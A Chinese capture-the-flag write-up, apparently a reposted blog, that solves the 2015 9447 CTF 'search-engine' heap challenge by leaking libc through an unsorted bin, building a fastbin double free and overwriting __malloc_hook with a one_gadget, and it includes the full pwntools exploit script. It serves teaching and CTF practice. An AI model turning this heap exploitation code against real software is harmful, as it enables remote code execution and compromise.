【PWN · heap | Arbitrary Alloc】2015_9447ctf_search-engine

和【PWN · heap | House Of Spirit】2014_hack.lu_oreo-CSDN博客略有区别,但都是通过malloc一块fake_chunk到指定区域,获得对该区域的写权限


目录

零、简单介绍

一、题目分析

1.主要功能

2.index_sentence(): 增添一条语句到“库”中

3.search_word():查询单词

4.read_str():读入字符串

二、解题思路

1.整体思路

2.泄露libc

3.getshell——劫持malloc_hook

三、利用过程

1.leak libc

2.fastbin循环指针

3.Arbitrary Alloc

4.hijack __malloc_hook

四、EXP

总结


零、简单介绍

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。


一、题目分析

1.主要功能

主要有两项功能,一是增添sentence,二是查询单次。由于数据结构的组织对我而言比较复杂,因此有必要好好做一个分析。

2.index_sentence(): 增添一条语句到“库”中

这里的单词指针,是源自句子的一部分(因此将句子整个置为\x00后,word也将变为\x00)

结构体各成员含义:

  • content:单词的值
  • size:单词的长度
  • sentence_ptr:单词源自的句子
  • len:句子的长度
  • next:指向下一个word结构体变量
  • padding1和padding2:按对齐要求进行必要填充

3.search_word():查询单词

4.read_str():读入字符串

 尤其重要的是第三个参数的含义


二、解题思路

先看看保护机制

用patchelf给程序链接了合适的动态链接库

开始思考如何做题。

1.整体思路

  1. 泄露libc
  2. getshell
    1. got劫持?不太行
    2. ROP?劫持到栈上,也许可以
    3. hook劫持、打one_gadget?double free+Arbitrary Alloc,可以一试

2.泄露libc

可以从现有条件+已知方法考虑(泄露libc的方法可以多多积累,无非是获得libc中的一个真实地址,通过偏移计算基地址)

而泄露必然是回显,因此可以看看哪些输出,或者哪些指针是具有读权限的。

除了menu打印字符串常量,search_word()具有打印变量的权限,更具体来说是被malloc的堆块的数据区。而我们注意到malloc的堆块释放到bin中,但是sentence被释放后,没赋值NULL,为野指针。因此可以利用chunk被释放后放入unsorted bin,堆管理中fd和bk指针被修改,再利用这里的write打印出来,即可泄露。——这也是经常利用泄露libc的手法。

唯一的问题是,如何绕过对word匹配的限制,调用write。

其实,当sentence被memset为\x00\x00…\x00后,word作为sentence字符串开始的字符串指针,也变味了\x00,这时只需要索引长度为1的\x00即可绕过对word的匹配检测。

3.getshell——劫持malloc_hook

我们知道,存在double free,因此我们可以利用这一点,构造循环指针A→B→A→B…然后申请A,修改对应fd域为fake_chunk。此时bin中即:B→A→fake_chunk。

然而这里有几个点需要注意:

  1. 需要malloc三个sentence,free三个sentence后,再释放其中一个。依次malloc了chunk A、B、C。此时head→word(C)→word(B)→word(A)。而匹配依次free后,fastbin: A→B→C→NULL。注意,这里free的是sentence。在循环比较时,条件首先需要满足i→sentence≠0。而此时C的fd指针已是NULL(注意C就是sentence,就是i→sentence),不可通过该检测。所以循环比较时,只会顺利检测并free A、B。而为了构造循环链表,应free B构造A→B→A…
  2. fake_chunk在malloc附近,因此fake_chunk的size一般可通过错位构造为0x7f,所以ABC的chunk size也应在这一范围。使用pwndbg中的find_fake_fast函数和查找一下可以将malloc_hook作为内容地址的0x70(0x7F)大小的fake_chunk。 命令格式: find_fake_fast+被写入地址+chunk大小
  3. malloc_hook的地址比泄露出来的main_arena地址小0x10
  4. 由于leak libc时已经有一个sentence被free,因此search ’\x00‘ 时,会匹配到A、B和之前的leak_chunk,一次’y’,两次’n’

三、利用过程

1.leak libc

2.fastbin循环指针

malloc 三次,free 三次,再free 一次,即可。

3.Arbitrary Alloc

然后依据偏移即可求出每次程序的fake_chunk_addr

 4.hijack __malloc_hook

依据距离偏移,精确覆写malloc_hook:

(这里的值需要具体算,0xef9f4是one_gadget偏移)


四、EXP

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
io=process('./pwn')
a=0
if input('[?]gdb')!='':
    a=1
    gdb.attach(io)

def search_word(size,word):
    io.sendline(b'1')
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'word:\n')
    io.send(word)

def delete_word(choice):
    io.recvuntil(b'(y/n)?\n')
    io.sendline(choice)
    if choice==b'y':
        io.recvuntil(b'Deleted!\n')

def index_sentence(size,sentence):
    io.sendline(b'2')
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'sentence:\n')
    io.send(sentence)

def gdb_break():
    if a==1:
        input('[+]gdb check')
## test
# index_sentence(9,b'dead beef')
# search_word(4,b'beef')
# delete_word(b'y')
# search_word(4,b'dead')
# io.interactive()

# leak libc
sentence=0x83*b'a'+b' b'
index_sentence(0x85,sentence)
search_word(1,b'b')
delete_word(b'y')
search_word(1,b'\x00')
io.recvuntil(b': ')
leak_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# success(hex(leak_addr))
main_arena=leak_addr-88
success('main_arena: '+hex(main_arena))
gdb_break()
delete_word(b'n')

# double-free
sentence=0x5d*b'a'+b' c '
length=len(sentence)
for i in range(3):
    index_sentence(length,sentence) 
gdb_break()
search_word(1,b'c')
delete_word(b'y')
delete_word(b'y')
delete_word(b'y')
gdb_break()
search_word(1,b'\x00')
delete_word(b'y')
delete_word(b'n')
delete_word(b'n')
gdb_break()

# fake-chunk
fake_chunk_addr=0x7f05fd0adaed-0x7f05fd0adb20+main_arena
success('fake_chunk_addr: '+hex(fake_chunk_addr))
gdb_break()
sentence=p64(fake_chunk_addr)
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
index_sentence(length,b'a'*length)
index_sentence(length,b'b'*length)
gdb_break()

'''one-gadget
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
libc_base=main_arena-0x3c4b10-0x1010+0x2000
success('libc-base: '+hex(libc_base))
gdb_break()
sentence=(0x7f5eec1dfb10-(0x7f5eec1dfaed+0x10))*b'a'+p64(libc_base+0xef9f4)+b' '
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
io.interactive()


总结

1. unsorted bin泄露libc

2. find_fake_fast可查找错位构造fake_fast_chunk

3.UAF+double free+Arbitrary Alloc

4. 关注具有读写权限的指针和操作

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/381360.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Leecode之分割链表

一.题目及剖析 https://leetcode.cn/problems/partition-list-lcci/description/ 二.思路引入 就是将其分成大小两个链表,以x为分界线进行分堆,最后再将两链表合并 三.代码引入 /*** Definition for singly-linked list.* struct ListNode {* int val;* struct Lis…

Netty中的常用组件(三)

ChannelPipeline 基于Netty的网路应用程序中根据业务需求会使用Netty已经提供的Channelhandler 或者自行开发ChannelHandler,这些ChannelHandler都放在ChannelPipeline中统一 管理,事件就会在ChannelPipeline中流动,并被其中一个或者多个Chan…

【前端高频面试题--TypeScript篇】

🚀 作者 :“码上有前” 🚀 文章简介 :前端高频面试题 🚀 欢迎小伙伴们 点赞👍、收藏⭐、留言💬 高频前端面试题--Vue3.0篇 什么是TypeScript?TypeScript数据类型TypeScript中命名空…

用python写个类

对类的简单概述 面向过程编程,是按照预定的顺序一步步执行,面向对象编程则是将相似的对象归为一类,定义它们的属性和行为,例如人有姓名,性别,年龄等属性,有吃饭,睡觉,学习等行为.这便是类,类是对象的模版,对象是类的实例,例如人是一个抽象的类,而张三是一个具体的对象. 学会用…

机器学习系列——(十九)层次聚类

引言 在机器学习和数据挖掘领域,聚类算法是一种重要的无监督学习方法,它试图将数据集中的样本分组,使得同一组内的样本相似度高,不同组间的样本相似度低。层次聚类(Hierarchical Clustering)是聚类算法中的…

Blazor Wasm Gitee 码云登录

目录: OpenID 与 OAuth2 基础知识Blazor wasm Google 登录Blazor wasm Gitee 码云登录Blazor SSR/WASM IDS/OIDC 单点登录授权实例1-建立和配置IDS身份验证服务Blazor SSR/WASM IDS/OIDC 单点登录授权实例2-登录信息组件wasmBlazor SSR/WASM IDS/OIDC 单点登录授权实例3-服务端…

分享66个表单按钮,总有一款适合您

分享66个表单按钮,总有一款适合您 66个表单按钮下载链接:https://pan.baidu.com/s/19lOG5sxI2Uy3KBIscffHRw?pwd8888 提取码:8888 Python采集代码下载链接:采集代码.zip - 蓝奏云 学习知识费力气,收集整理更不…

VUE学习——数组变化侦测

官方文档 变更方法: 使用之后,ui可以直接发生改变。改变原数组 替换数组: 使用之后需要接受重新赋值,不然ui不发生改变。不改变原数组

【开源】JAVA+Vue+SpringBoot实现实验室耗材管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 耗材档案模块2.2 耗材入库模块2.3 耗材出库模块2.4 耗材申请模块2.5 耗材审核模块 三、系统展示四、核心代码4.1 查询耗材品类4.2 查询资产出库清单4.3 资产出库4.4 查询入库单4.5 资产入库 五、免责说明 一、摘要 1.1…

股票均线的使用方法和实战技术,看涨看空的均线形态与案例教学

一、教程描述 本套教程讲解了14种均线的特殊形态,通过直观图形以及大量案例的教学,将深奥、繁琐的均线变得生动与具体,广大投资者在认真学习以后,可以学会均线的使用方法,掌握最强的均线应用实战技术。本套教程不仅适…

动态规划的一个初步学习

啥叫动态规划 在我们写很多的题目时,常常可以用暴力枚举来写,缺点就是速度太慢了。如果我们用一个数组或者哈希表(虽然我还没学过哈希表)将之前暴力枚举的数据储存起来,当再一次枚举到这个数字的时候就直接调用数组或…

使用vue-client-only 解决组件不兼容SSR问题

目录 前言 一、解决方案 1.基于Nuxt 框架的SSR应用 2.基于vue2框架的应用 3.基于vue3框架的应用 二、总结 往期回顾 前言 最近在我的单页面SSR应用上开发JSON编辑器功能,在引入组件后直接客户端跳转OK,但是在直接加载服务端渲染的时候一直报这…

并发容器(Map、List、Set)实战及其原理

目录 JUC包下的并发容器 CopyOnWriteArrayList 应用场景 CopyOnWriteArrayList使用 CopyOnWriteArrayList原理 CopyOnWriteArrayList 的缺陷 扩展知识:迭代器的 fail-fast 与 fail-safe 机制 ConcurrentHashMap 应用场景 ConcurrentHashMap使用 数…

阿里云幻兽帕鲁服务器免费搭建解决方法,白嫖阿里云

阿里云幻兽帕鲁服务器免费搭建方案,先在阿里云高校计划「云工开物」活动领取学生专享300元无门槛代金券,幻兽帕鲁专用服务器4核16G配置26元1个月、149元半年,直接使用这个无门槛300元代金券抵扣即可免费搭建幻兽帕鲁服务器。阿里云服务器网al…

2.8日学习打卡----初学RabbitMQ(三)

2.8日学习打卡 一.springboot整合RabbitMQ 之前我们使用原生JAVA操作RabbitMQ较为繁琐&#xff0c;接下来我们使用 SpringBoot整合RabbitMQ&#xff0c;简化代码编写 创建SpringBoot项目&#xff0c;引入RabbitMQ起步依赖 <!-- RabbitMQ起步依赖 --> <dependency&g…

小游戏和GUI编程(3) | 基于 SFML 的字符阵

小游戏和GUI编程(3) | 基于 SFML 的字符阵 1. 简介 使用 EasyX 图形库时&#xff0c; 官方第一个例子是字符阵。 EasyX 不开源&#xff0c; 也不能跨平台&#xff0c; API 陈旧&#xff0c; API 是 C 而不是 C。 现在使用 SFML 来实现字符阵&#xff0c; 克服 EasyX 的这些问…

OCP使用CLI创建和构建应用

文章目录 环境登录创建project赋予查看权限部署第一个image创建route检查pod扩展应用 部署一个Python应用连接数据库创建secret加载数据并显示国家公园地图 清理参考 环境 RHEL 9.3Red Hat OpenShift Local 2.32 登录 通过 crc console --credentials 可以查看登录信息&…

动态内存管理(下)

1.常见的动态内存的错误 我们在学习动态内存的时候&#xff0c;常出现的一些错误我们来看一下。 1.对NULL指针的解引用操作 例如我们在使用malloc或者calloc开辟动态空间的时候&#xff0c;有时候没有判断是否开辟成功而直接对齐的返回指针进行解引用&#xff0c;此时如果开…

[论文总结] 深度学习在农业领域应用论文笔记12

文章目录 1. 3D-ZeF: A 3D Zebrafish Tracking Benchmark Dataset (CVPR, 2020)摘要背景相关研究所提出的数据集方法和结果个人总结 2. Automated flower classification over a large number of classes (Computer Vision, Graphics & Image Processing, 2008)摘要背景分割…

基于图像掩膜和深度学习的花生豆分拣(附源码)

目录 项目介绍 图像分类网络构建 处理花生豆图片完成预测 项目介绍 这是一个使用图像掩膜技术和深度学习技术实现的一个花生豆分拣系统 我们有大量的花生豆图片&#xff0c;并以及打好了标签&#xff0c;可以看一下目录结构和几张具体的图片 同时我们也有几张大的图片&…